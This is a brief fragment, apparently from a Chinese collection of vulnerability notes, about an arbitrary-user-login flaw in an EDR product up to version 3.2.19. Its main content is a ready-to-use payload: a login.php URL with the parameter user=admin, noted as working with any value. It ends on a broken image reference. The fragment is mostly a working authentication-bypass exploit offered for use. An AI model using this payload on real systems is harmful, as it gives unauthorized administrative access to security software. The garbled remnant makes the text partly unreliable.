EDR \<= v3.2.19
payload:user后面任意填写都ok
https://www.0-sec.org:443/ui/login.php?user=admin
任意用户登陆漏洞/media/rId24.png)